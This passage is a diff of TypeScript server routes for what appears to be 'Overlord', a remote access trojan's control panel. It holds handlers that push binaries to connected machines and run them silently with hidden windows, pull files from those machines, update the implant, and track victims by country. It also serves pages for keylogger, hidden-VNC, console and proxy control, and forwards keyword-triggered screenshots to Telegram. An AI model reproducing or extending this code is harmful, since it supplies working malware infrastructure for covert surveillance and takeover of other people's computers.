if (!(file instanceof File)) {
return new Response("Missing file", { status: 400 });
}
const filename = path.basename(file.name || "upload.bin");
const id = uuidv4();
await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
const folder = path.join(deps.DEPLOY_ROOT, id);
await fs.mkdir(folder, { recursive: true });
const targetPath = path.join(folder, filename);
const bytes = new Uint8Array(await file.arrayBuffer());
await fs.writeFile(targetPath, bytes);
const os = deps.detectUploadOs(filename, bytes);
const entry: DeployUpload = {
id,
path: targetPath,
name: filename,
size: bytes.length,
os,
};
deps.deployUploads.set(id, entry);
return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length });
}
if (req.method === "POST" && url.pathname === "/api/deploy/run") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
const args = typeof body?.args === "string" ? body.args : "";
const hideWindow = body?.hideWindow !== false;
if (!uploadId || clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const upload = deps.deployUploads.get(uploadId);
if (!upload) {
return new Response("Not found", { status: 404 });
}
const bytes = new Uint8Array(await fs.readFile(upload.path));
const chunkSize = 256 * 1024;
const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
const trimmedArgs = commandArgs.trim();
const needsQuotes = commandPath.includes(" ");
const displayCommand = needsQuotes ? `"${commandPath}"` : commandPath;
if (!trimmedArgs) {
return displayCommand;
}
return `${displayCommand} ${trimmedArgs}`;
};
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = deps.normalizeClientOs(target.os);
const osMismatch =
upload.os !== "unknown" &&
!(
upload.os === clientOs ||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
);
if (osMismatch) {
results.push({ clientId, ok: false, reason: "os_mismatch" });
continue;
}
const dir = clientOs === "windows"
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
: `/tmp/overlord/${upload.id}`;
const destPath = clientOs === "windows"
? `${dir}\\${upload.name}`
: `${dir}/${upload.name}`;
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_mkdir",
id: uuidv4(),
payload: { path: dir },
}),
);
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload",
id: uuidv4(),
payload: { path: destPath, data: chunk, offset, total: bytes.length },
}),
);
}
if (clientOs !== "windows") {
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_chmod",
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
);
}
const displayCommand = formatCommandDisplay(destPath, args);
target.ws.send(
encodeMessage({
type: "command",
commandType: "silent_exec",
id: uuidv4(),
payload: { command: destPath, args, hideWindow },
}),
);
metrics.recordCommand("silent_exec");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.SILENT_EXECUTE,
targetClientId: clientId,
success: true,
details: JSON.stringify({ uploadId, command: destPath, args }),
});
results.push({ clientId, ok: true, command: displayCommand });
}
return Response.json({ ok: true, results });
}
if (req.method === "POST" && url.pathname === "/api/deploy/update") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (!uploadId || clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const upload = deps.deployUploads.get(uploadId);
if (!upload) {
return new Response("Not found", { status: 404 });
}
const bytes = new Uint8Array(await fs.readFile(upload.path));
const chunkSize = 256 * 1024;
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = deps.normalizeClientOs(target.os);
const osMismatch =
upload.os !== "unknown" &&
!(
upload.os === clientOs ||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
);
if (osMismatch) {
results.push({ clientId, ok: false, reason: "os_mismatch" });
continue;
}
const dir = clientOs === "windows"
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
: `/tmp/overlord/${upload.id}`;
const destPath = clientOs === "windows"
? `${dir}\\${upload.name}`
: `${dir}/${upload.name}`;
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_mkdir",
id: uuidv4(),
payload: { path: dir },
}),
);
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload",
id: uuidv4(),
payload: { path: destPath, data: chunk, offset, total: bytes.length },
}),
);
}
if (clientOs !== "windows") {
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_chmod",
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
);
}
target.ws.send(
encodeMessage({
type: "command",
commandType: "agent_update",
id: uuidv4(),
payload: { path: destPath },
}),
);
metrics.recordCommand("agent_update");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.AGENT_UPDATE,
targetClientId: clientId,
success: true,
details: JSON.stringify({ uploadId, path: destPath }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
return null;
}
@@ -0,0 +1,270 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { logger } from "../../logger";
import { encodeMessage } from "../../protocol";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type PendingHttpDownload = {
commandId: string;
clientId: string;
path: string;
fileName: string;
total: number;
receivedBytes: number;
receivedOffsets: Set<number>;
receivedChunks: Set<number>;
chunkSize: number;
expectedChunks: number;
loggedTotal?: boolean;
loggedFirstChunk?: boolean;
tmpPath: string;
fileHandle: any;
resolve: (entry: PendingHttpDownload) => void;
reject: (error: Error) => void;
timeout: ReturnType<typeof setTimeout>;
};
type DownloadIntent = {
id: string;
userId: string;
clientId: string;
path: string;
expiresAt: number;
timeout: ReturnType<typeof setTimeout>;
};
type FileDownloadRouteDeps = {
DATA_DIR: string;
secureHeaders: (contentType?: string) => Record<string, string>;
sanitizeOutputName: (name: string) => string;
pendingHttpDownloads: Map<string, PendingHttpDownload>;
downloadIntents: Map<string, DownloadIntent>;
};
export async function handleFileDownloadRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: FileDownloadRouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/file/download")) {
return null;
}
if (req.method === "POST" && url.pathname === "/api/file/download") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const downloadId = typeof body?.downloadId === "string" ? body.downloadId : "";
logger.debug("[filebrowser] http download request", {
downloadId,
userId: user.userId,
ip: server.requestIP(req)?.address || "unknown",
});
if (!downloadId) {
return new Response("Bad request", { status: 400 });
}
const intent = deps.downloadIntents.get(downloadId);
if (!intent || intent.userId !== user.userId || intent.expiresAt < Date.now()) {
logger.debug("[filebrowser] http download intent missing", {
downloadId,
userId: user.userId,
intentUserId: intent?.userId,
expiresAt: intent?.expiresAt,
});
return new Response("Not found", { status: 404 });
}
deps.downloadIntents.delete(downloadId);
clearTimeout(intent.timeout);
const clientId = intent.clientId;
const downloadPath = intent.path;
const target = clientManager.getClient(clientId);
if (!target) {
logger.debug("[filebrowser] http download target offline", {
downloadId,
clientId,
});
return new Response("Client offline", { status: 404 });
}
const commandId = uuidv4();
const downloadDir = path.join(deps.DATA_DIR, "downloads");
await fs.mkdir(downloadDir, { recursive: true });
const tmpPath = path.join(downloadDir, `${commandId}.bin`);
let fileName = path.basename(downloadPath) || "download.bin";
try {
fileName = deps.sanitizeOutputName(fileName);
} catch {
fileName = "download.bin";
}
const fileHandle = await fs.open(tmpPath, "w+");
logger.debug("[filebrowser] http download start", {
commandId,
clientId,
path: downloadPath,
tmpPath,
});
const downloadPromise = new Promise<PendingHttpDownload>((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingHttpDownloads.delete(commandId);
void fileHandle.close();
void fs.unlink(tmpPath).catch(() => {});
reject(new Error("Download timed out"));
}, 5 * 60_000);
deps.pendingHttpDownloads.set(commandId, {
commandId,
clientId,
path: downloadPath,
fileName,
total: 0,
receivedBytes: 0,
receivedOffsets: new Set(),
receivedChunks: new Set(),
chunkSize: 0,
expectedChunks: 0,
loggedTotal: false,
loggedFirstChunk: false,
tmpPath,
fileHandle,
resolve,
reject,
timeout,
});
});
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_download",
id: commandId,
payload: { path: downloadPath },
}),
);
logger.debug("[filebrowser] http download command sent", {
commandId,
clientId,
path: downloadPath,
});
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.FILE_DOWNLOAD,
targetClientId: clientId,
details: JSON.stringify({ path: downloadPath, via: "http" }),
success: true,
});
let completed: PendingHttpDownload;
try {
completed = await downloadPromise;
} catch (err) {
logger.debug("[filebrowser] http download failed", {
commandId,
clientId,
path: downloadPath,
error: (err as Error)?.message || String(err),
});
return new Response((err as Error).message || "Download failed", { status: 500 });
}
logger.debug("[filebrowser] http download complete", {
commandId,
clientId,
path: downloadPath,
total: completed.total,
receivedBytes: completed.receivedBytes,
expectedChunks: completed.expectedChunks,
receivedChunks: completed.receivedChunks.size,
});
const headers = {
...deps.secureHeaders("application/octet-stream"),
"Content-Disposition": `attachment; filename="${completed.fileName}"`,
"Cache-Control": "no-store",
};
setTimeout(() => {
void fs.unlink(completed.tmpPath).catch(() => {});
}, 5 * 60_000);
return new Response(Bun.file(completed.tmpPath), { headers });
}
if (req.method === "POST" && url.pathname === "/api/file/download/request") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const clientId = typeof body?.clientId === "string" ? body.clientId : "";
const downloadPath = typeof body?.path === "string" ? body.path : "";
if (!clientId || !downloadPath) {
return new Response("Bad request", { status: 400 });
}
const target = clientManager.getClient(clientId);
if (!target) {
return new Response("Client offline", { status: 404 });
}
const downloadId = uuidv4();
const expiresAt = Date.now() + 2 * 60_000;
const timeout = setTimeout(() => {
deps.downloadIntents.delete(downloadId);
}, 2 * 60_000);
deps.downloadIntents.set(downloadId, {
id: downloadId,
userId: user.userId,
clientId,
path: downloadPath,
expiresAt,
timeout,
});
return Response.json({ ok: true, downloadId });
}
return null;
}
@@ -0,0 +1,138 @@
import { authenticateRequest } from "../../auth";
import * as clientManager from "../../clientManager";
import { getAuditLogs } from "../../auditLog";
import { listClients } from "../../db";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
type MiscRouteDeps = {
CORS_HEADERS: Record<string, string>;
SERVER_VERSION: string;
getConsoleSessionCount: () => number;
getRdSessionCount: () => number;
getFileBrowserSessionCount: () => number;
getProcessSessionCount: () => number;
};
export async function handleMiscRoutes(
req: Request,
url: URL,
deps: MiscRouteDeps,
): Promise<Response | null> {
if (req.method === "GET" && url.pathname === "/api/metrics") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
const snapshot = metrics.getSnapshot();
const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" });
logger.debug(
`[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`,
);
logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`);
snapshot.clients.total = clientList.total;
snapshot.clients.online = clientList.online;
snapshot.clients.offline = clientList.total - clientList.online;
const byOS: Record<string, number> = {};
const byCountry: Record<string, number> = {};
const byOSOnline: Record<string, number> = {};
const byCountryOnline: Record<string, number> = {};
let onlineCounted = 0;
const totalItems = clientList.items.length;
for (const item of clientList.items) {
if (item.os) {
byOS[item.os] = (byOS[item.os] || 0) + 1;
}
if (item.country) {
byCountry[item.country] = (byCountry[item.country] || 0) + 1;
}
if (!item.online) continue;
onlineCounted++;
if (item.os) {
byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1;
}
if (item.country) {
byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1;
}
}
snapshot.clients.byOS = byOS;
snapshot.clients.byCountry = byCountry;
snapshot.sessions.console = deps.getConsoleSessionCount();
snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
snapshot.sessions.fileBrowser = deps.getFileBrowserSessionCount();
snapshot.sessions.process = deps.getProcessSessionCount();
metrics.recordHistoryEntry(snapshot);
const history = metrics.getHistory();
return new Response(JSON.stringify({ snapshot, history }), {
headers: { "Content-Type": "application/json" },
});
}
if (url.pathname === "/health") {
return new Response("ok", { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && url.pathname === "/api/version") {
return new Response(JSON.stringify({ version: deps.SERVER_VERSION }), {
headers: {
...deps.CORS_HEADERS,
"Content-Type": "application/json",
},
});
}
if (req.method === "GET" && url.pathname === "/api/audit-logs") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
try {
requirePermission(user, "audit:view");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
const pageSize = Math.max(1, Math.min(100, Number(url.searchParams.get("pageSize") || 50)));
const targetClientId = (url.searchParams.get("clientId") || "").trim();
const action = (url.searchParams.get("action") || "").trim();
const actionsRaw = (url.searchParams.get("actions") || "").trim();
const actions = actionsRaw
? actionsRaw
.split(",")
.map((entry) => entry.trim())
.filter(Boolean)
: undefined;
const startDate = Number(url.searchParams.get("startDate") || 0) || undefined;
const endDate = Number(url.searchParams.get("endDate") || 0) || undefined;
const successOnly = url.searchParams.get("successOnly") === "true";
const result = getAuditLogs({
page,
pageSize,
targetClientId: targetClientId || undefined,
action: action || undefined,
actions,
startDate,
endDate,
successOnly,
});
return Response.json(result, { headers: deps.CORS_HEADERS });
}
return null;
}
@@ -0,0 +1,164 @@
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { getConfig, updateNotificationsConfig } from "../../config";
import { encodeMessage } from "../../protocol";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type NotificationsRouteDeps = {
getNotificationScreenshot: (notificationId: string) => { format?: string; bytes: Uint8Array } | null;
secureHeaders: (contentType?: string) => HeadersInit;
};
export async function handleNotificationsConfigRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: NotificationsRouteDeps,
): Promise<Response | null> {
const screenshotMatch = url.pathname.match(/^\/api\/notifications\/([^/]+)\/screenshot$/);
if (req.method === "GET" && screenshotMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
const notificationId = decodeURIComponent(screenshotMatch[1]);
const screenshot = deps.getNotificationScreenshot(notificationId);
if (!screenshot) {
return new Response("Not found", { status: 404 });
}
const format = (screenshot.format || "jpeg").toLowerCase();
const contentType = format === "jpg" || format === "jpeg"
? "image/jpeg"
: format === "png"
? "image/png"
: format === "webp"
? "image/webp"
: "application/octet-stream";
return new Response(screenshot.bytes as unknown as BodyInit, {
headers: deps.secureHeaders(contentType),
});
}
if (req.method === "GET" && url.pathname === "/api/notifications/config") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewer access denied", { status: 403 });
}
return Response.json({ notifications: getConfig().notifications });
}
if (req.method === "PUT" && url.pathname === "/api/notifications/config") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", {
status: 403,
});
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const currentConfig = getConfig().notifications;
const hasKeywords = Array.isArray(body?.keywords);
const rawKeywords = hasKeywords ? body.keywords : currentConfig.keywords || [];
const keywords = rawKeywords
.map((k: any) => String(k).trim())
.filter(Boolean)
.slice(0, 200);
const webhookEnabled =
typeof body?.webhookEnabled === "boolean"
? body.webhookEnabled
: currentConfig.webhookEnabled;
const webhookUrl =
typeof body?.webhookUrl === "string"
? body.webhookUrl.trim()
: currentConfig.webhookUrl || "";
const telegramEnabled =
typeof body?.telegramEnabled === "boolean"
? body.telegramEnabled
: currentConfig.telegramEnabled;
const telegramBotToken =
typeof body?.telegramBotToken === "string"
? body.telegramBotToken.trim()
: currentConfig.telegramBotToken || "";
const telegramChatId =
typeof body?.telegramChatId === "string"
? body.telegramChatId.trim()
: currentConfig.telegramChatId || "";
if (webhookUrl) {
try {
const parsed = new URL(webhookUrl);
if (!/^https?:$/.test(parsed.protocol)) {
return Response.json(
{ error: "Webhook URL must be http(s)" },
{ status: 400 },
);
}
} catch {
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
}
}
const updated = await updateNotificationsConfig({
keywords,
webhookEnabled,
webhookUrl,
telegramEnabled,
telegramBotToken,
telegramChatId,
});
for (const client of clientManager.getAllClients().values()) {
if (client.role !== "client") continue;
try {
client.ws.send(
encodeMessage({
type: "notification_config",
keywords: updated.keywords || [],
minIntervalMs: updated.minIntervalMs || 8000,
}),
);
} catch {}
}
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.COMMAND,
details: `Updated notification keywords (${updated.keywords.length})`,
success: true,
});
return Response.json({ ok: true, notifications: updated });
}
return null;
}
@@ -0,0 +1,316 @@
import { authenticateRequest } from "../../auth";
import { requirePermission } from "../../rbac";
import { getUserById } from "../../users";
type PageRouteDeps = {
PUBLIC_ROOT: string;
secureHeaders: (contentType?: string) => Record<string, string>;
mimeType: (path: string) => string;
};
async function serveLoginOrUnauthorized(deps: PageRouteDeps): Promise<Response> {
const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`);
if (await loginFile.exists()) {
return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) });
}
return new Response("Unauthorized", { status: 401 });
}
async function serveChangePasswordIfRequired(
deps: PageRouteDeps,
userId: number,
): Promise<Response | null> {
const dbUser = getUserById(userId);
if (dbUser && dbUser.must_change_password) {
const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
if (await changePassFile.exists()) {
return new Response(changePassFile, {
headers: deps.secureHeaders(deps.mimeType("/change-password.html")),
});
}
}
return null;
}
export async function handlePageRoutes(
req: Request,
url: URL,
deps: PageRouteDeps,
): Promise<Response | null> {
if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) {
const authed = await authenticateRequest(req);
if (authed) {
const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
if (maybeChange) return maybeChange;
}
const filePath = authed ? "/index.html" : "/login.html";
const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) });
}
}
if (req.method === "GET" && url.pathname === "/change-password.html") {
const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) });
}
}
if (req.method === "GET" && url.pathname === "/remotedesktop") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) });
}
}
if (req.method === "GET" && url.pathname === "/hvnc") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) });
}
}
if (req.method === "GET" && url.pathname === "/metrics") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) });
}
}
if (req.method === "GET" && url.pathname === "/logs") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
try {
requirePermission(user, "audit:view");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) });
}
}
if (req.method === "GET" && url.pathname === "/notifications") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`);
if (await file.exists()) {
return new Response(file, {
headers: deps.secureHeaders(deps.mimeType("notifications.html")),
});
}
}
if (req.method === "GET" && url.pathname === "/users") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) });
}
}
if (req.method === "GET" && url.pathname === "/build") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) });
}
}
if (req.method === "GET" && url.pathname === "/plugins") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) });
}
}
const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/);
if (req.method === "GET" && consolePageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) });
}
}
const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/);
if (req.method === "GET" && filesPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) });
}
}
const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/);
if (req.method === "GET" && processesPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) });
}
}
const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/);
if (req.method === "GET" && keyloggerPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) });
}
}
const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
if (req.method === "GET" && proxyPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
}
}
if (req.method === "GET" && url.pathname === "/scripts") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) });
}
}
if (req.method === "GET" && url.pathname === "/deploy") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) });
}
}
return null;
}
@@ -0,0 +1,465 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { requirePermission } from "../../rbac";
import * as clientManager from "../../clientManager";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
type PluginManifest = {
id: string;
name: string;
};
type PluginBundle = {
manifest: PluginManifest;
wasm: Uint8Array;
};
type PluginState = {
enabled: Record<string, boolean>;
lastError: Record<string, string>;
};
type PluginRouteDeps = {
PLUGIN_ROOT: string;
pluginState: PluginState;
pluginLoadedByClient: Map<string, Set<string>>;
pluginLoadingByClient: Map<string, Set<string>>;
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
sanitizePluginId: (name: string) => string;
ensurePluginExtracted: (pluginId: string) => Promise<void>;
savePluginState: () => Promise<void>;
listPluginManifests: () => Promise<PluginManifest[]>;
loadPluginBundle: (pluginId: string) => Promise<PluginBundle>;
sendPluginBundle: (target: any, bundle: PluginBundle) => void;
markPluginLoading: (clientId: string, pluginId: string) => void;
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
isPluginLoading: (clientId: string, pluginId: string) => boolean;
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
secureHeaders: (contentType?: string) => Record<string, string>;
securePluginHeaders: () => Record<string, string>;
mimeType: (path: string) => string;
};
export async function handlePluginRoutes(
req: Request,
url: URL,
deps: PluginRouteDeps,
): Promise<Response | null> {
if (
!url.pathname.startsWith("/api/plugins") &&
!url.pathname.startsWith("/plugins/") &&
!url.pathname.match(/^\/api\/clients\/.+\/plugins/)
) {
return null;
}
if (req.method === "GET" && url.pathname === "/api/plugins") {
if (!(await authenticateRequest(req))) {
return new Response("Unauthorized", { status: 401 });
}
const plugins = await deps.listPluginManifests();
const enriched = plugins.map((p) => ({
...p,
enabled: deps.pluginState.enabled[p.id] !== false,
lastError: deps.pluginState.lastError[p.id] || "",
}));
return Response.json({ plugins: enriched });
}
const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
if (req.method === "GET" && clientPluginsMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const clientId = clientPluginsMatch[1];
